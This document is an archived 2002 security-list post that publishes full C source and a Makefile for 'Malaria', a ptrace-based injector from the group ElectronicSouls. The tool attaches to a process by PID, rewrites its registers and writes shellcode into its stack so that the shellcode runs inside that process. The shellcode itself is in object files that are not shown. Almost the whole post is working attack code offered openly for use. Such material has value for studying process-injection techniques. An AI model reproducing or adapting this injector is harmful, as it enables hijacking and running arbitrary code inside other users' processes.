[EXPL] Ptrace() Injector (Malaria)

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      Ptrace() Injector (Malaria)
    ------------------------------------------------------------------------

    SUMMARY

    The following proof of concept exploit code will show you how a local
    attacker can use ptrace to inject arbitrary commands into a process he
    wishes (given he knows its PID).

    DETAILS

    (The complete package can be downloaded from:
    <http://www.0x4553.org/archive.htm> http://www.0x4553.org/archive.htm, it
    contains two Objects files necessary for compilation)

    Makefile:
    # ElectronicSouls

    CC = gcc
    OBJ = ES-Malaria.o
    BIN = ES-Malaria
    OBJ1 = w00t.o

    all: $(OBJ)
      $(CC) $(OBJ) -o $(BIN) $(OBJ1)
    clean:
      rm -f $(BIN)

    Malaria.h:
    typedef long int pid_t;
    void infcode();
    char *shellcode;

    #define VER "12.02-00.01.a"

    ES-Malaria.c:
    /*
          ._______________ ._____________.
          | |\ | |\
          |______________|| |_____________||
           \_____________\| \____________\|
          .________. .________.
          | |\ Electronic | |\
          | ._____|| Souls |_____. ||
          | |\____\| \____| ||
          | |_|_________. .__________| ||
          | |\ | ||
          |______________|| |_____________||
           \_____________\| \____________\|

      [ElectronicSouls] --- http://www.0x4553.org
      -------------------------------------------
      Malaria Ptrace Injector (C) BrainStorm 2002
      public version. no error handling.

      greetz:
             old XOR Team,UNF,SYNNERGY,void.ru,
             ADM,THC,IC,#vuln,#blackhat
    */

    #include <stdio.h>
    #include <signal.h>
    #include <sys/ptrace.h>
    #include <linux/user.h>
    #include <unistd.h>
    #include "malaria.h"

    int main(int argc,char **argv)
    {
            pid_t pid;

            if(!argv[1]){
              fprintf(stderr,"[ElectronicSouls] Malaria ptrace injector.\n");
              fprintf(stderr,"usage: %s <pid> \n",argv[0]);
              exit(-1);
            }

            fprintf(stderr,"\n [ElectronicSouls]\n");
            fprintf(stderr," malaria version: %s\n\n",VER);

            pid=atoi(argv[1]);
            fprintf(stderr," calculating inject code size..\n");
            shellcode=malloc(strlen((char*) infcode)+4);
            strcpy(shellcode,(char *) infcode);
            fprintf(stderr," - code size: %d\n",strlen(shellcode));
            fprintf(stderr," initializing infection\n");
            infect(pid);

            fprintf(stderr," [infected!]\n\n");

            exit(0);
    }

    int infect(pid_t pid,int argc, char *argv[])
    {
            int i=0,
                ptr,
                beg;
            struct user_regs_struct reg;

            fprintf(stderr," attaching to proccess: %d !\n",pid);

            ptrace(PTRACE_ATTACH,pid,0,0); /* attaching to proccess */
            waitpid(pid,NULL,0);

            ptrace(PTRACE_GETREGS,pid,&reg,&reg); /* general purpose registers
    */
            write(2,"
    ",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            
    write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            
    write(2,".",1);sleep(1);write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            write(2,".\n",1);sleep(1); /* just for fun :P */
            fprintf(stderr," register info: \n");
            fprintf(stderr,"
    -----------------------------------------------------------\n");
            fprintf(stderr," eax is at: 0x%.8lx\t",reg.eax);
            fprintf(stderr," ebx is at: 0x%.8lx\n",reg.ebx);
            fprintf(stderr," ecx is at: 0x%.8lx\t",reg.ecx);
            fprintf(stderr," eip is at: 0x%.8lx\n",reg.eip);
            fprintf(stderr,"
    ------------------------------------------------------------\n\n");
            reg.esp -= 4; /* decrement esp */
            fprintf(stderr," new esp: 0x%.8lx (-4)\n",reg.esp);

            ptrace(PTRACE_POKETEXT,pid,reg.esp,reg.eip); /* poke eip -> esp */
            ptr = beg = reg.esp - 1024; /* inject esp - 1024 */
            fprintf(stderr," - injecting code into 0x%.8lx\n",beg);

            write(2," .",1);sleep(1);write(2,".",1);sleep(1);
            write(2,".",1);sleep(1);write(2,".",1);sleep(1);
            write(2,".",1);sleep(1);write(2,". ",1);sleep(1);

            reg.eip=(long) beg+2; /* set eip as value of esp - 1024 */
            fprintf(stderr,"reg eip is at: 0x%.8lx\n",reg.eip);
            fprintf(stderr," copy general purpose registers\n");
            ptrace(PTRACE_SETREGS,pid,&reg,&reg);

            while(i<strlen(shellcode)){
              ptrace(PTRACE_POKETEXT,pid,ptr,(int)* (int *) (shellcode+i) );
              i+=4;ptr+=4;
            }

            fprintf(stderr," detaching from %d \n\n",pid);

            ptrace(PTRACE_DETACH,pid,0,0); /* detach from proccess */
            return(0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:brainstorm@ElectronicSouls.zzn.com> Brain Storm.

    ========================================

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